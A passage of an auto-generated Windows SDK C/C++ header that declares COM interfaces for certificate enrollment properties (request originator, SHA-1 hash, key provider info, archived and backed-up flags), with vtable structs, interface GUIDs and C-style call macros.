STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ __RPC__in BSTR strRequestOriginator);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromLocalRequestOriginator )( \n            __RPC__in ICertPropertyRequestOriginator * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestOriginator )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyRequestOriginatorVtbl;\n\n    interface ICertPropertyRequestOriginator\n    {\n        CONST_VTBL struct ICertPropertyRequestOriginatorVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyRequestOriginator_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyRequestOriginator_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyRequestOriginator_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyRequestOriginator_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyRequestOriginator_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyRequestOriginator_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyRequestOriginator_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyRequestOriginator_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRequestOriginator_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyRequestOriginator_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyRequestOriginator_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyRequestOriginator_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyRequestOriginator_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRequestOriginator_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyRequestOriginator_Initialize(This,strRequestOriginator)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strRequestOriginator) ) \n\n#define ICertPropertyRequestOriginator_InitializeFromLocalRequestOriginator(This)\t\\\n    ( (This)->lpVtbl -> InitializeFromLocalRequestOriginator(This) ) \n\n#define ICertPropertyRequestOriginator_get_RequestOriginator(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestOriginator(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyRequestOriginator_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertySHA1Hash_INTERFACE_DEFINED__\n#define __ICertPropertySHA1Hash_INTERFACE_DEFINED__\n\n/* interface ICertPropertySHA1Hash */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertySHA1Hash;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab334-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertySHA1Hash : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SHA1Hash( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertySHA1HashVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertySHA1Hash * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertySHA1Hash * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertySHA1Hash * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SHA1Hash )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertySHA1HashVtbl;\n\n    interface ICertPropertySHA1Hash\n    {\n        CONST_VTBL struct ICertPropertySHA1HashVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertySHA1Hash_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertySHA1Hash_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertySHA1Hash_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertySHA1Hash_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertySHA1Hash_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertySHA1Hash_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertySHA1Hash_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertySHA1Hash_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertySHA1Hash_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertySHA1Hash_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertySHA1Hash_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertySHA1Hash_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertySHA1Hash_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertySHA1Hash_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertySHA1Hash_Initialize(This,Encoding,strRenewalValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strRenewalValue) ) \n\n#define ICertPropertySHA1Hash_get_SHA1Hash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SHA1Hash(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertySHA1Hash_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyKeyProvInfo_INTERFACE_DEFINED__\n#define __ICertPropertyKeyProvInfo_INTERFACE_DEFINED__\n\n/* interface ICertPropertyKeyProvInfo */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyKeyProvInfo;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab336-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyKeyProvInfo : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IX509PrivateKey *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PrivateKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyKeyProvInfoVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyKeyProvInfo * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyKeyProvInfo * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyKeyProvInfo * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        END_INTERFACE\n    } ICertPropertyKeyProvInfoVtbl;\n\n    interface ICertPropertyKeyProvInfo\n    {\n        CONST_VTBL struct ICertPropertyKeyProvInfoVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyKeyProvInfo_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyKeyProvInfo_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyKeyProvInfo_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyKeyProvInfo_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyKeyProvInfo_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyKeyProvInfo_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyKeyProvInfo_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyKeyProvInfo_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyKeyProvInfo_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyKeyProvInfo_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyKeyProvInfo_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyKeyProvInfo_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyKeyProvInfo_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyKeyProvInfo_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyKeyProvInfo_Initialize(This,pValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pValue) ) \n\n#define ICertPropertyKeyProvInfo_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyKeyProvInfo_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchived_INTERFACE_DEFINED__\n#define __ICertPropertyArchived_INTERFACE_DEFINED__\n\n/* interface ICertPropertyArchived */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyArchived;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab337-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyArchived : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ VARIANT_BOOL ArchivedValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Archived( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyArchivedVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyArchived * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyArchived * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyArchived * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL ArchivedValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Archived )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyArchivedVtbl;\n\n    interface ICertPropertyArchived\n    {\n        CONST_VTBL struct ICertPropertyArchivedVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyArchived_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyArchived_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyArchived_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyArchived_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyArchived_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyArchived_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyArchived_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyArchived_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchived_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyArchived_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyArchived_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyArchived_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyArchived_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchived_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyArchived_Initialize(This,ArchivedValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,ArchivedValue) ) \n\n#define ICertPropertyArchived_get_Archived(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Archived(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyArchived_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyBackedUp_INTERFACE_DEFINED__\n#define __ICertPropertyBackedUp_INTERFACE_DEFINED__\n\n/* interface ICertPropertyBackedUp */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyBackedUp;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab338-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyBackedUp : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCurrentTime( \n            /* [in] */ VARIANT_BOOL BackedUpValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ VARIANT_BOOL BackedUpValue,\n            /* [in] */ DATE Date) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BackedUpValue( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BackedUpTime( \n            /* [retval][out] */ __RPC__out DATE *pDate) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyBackedUpVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in 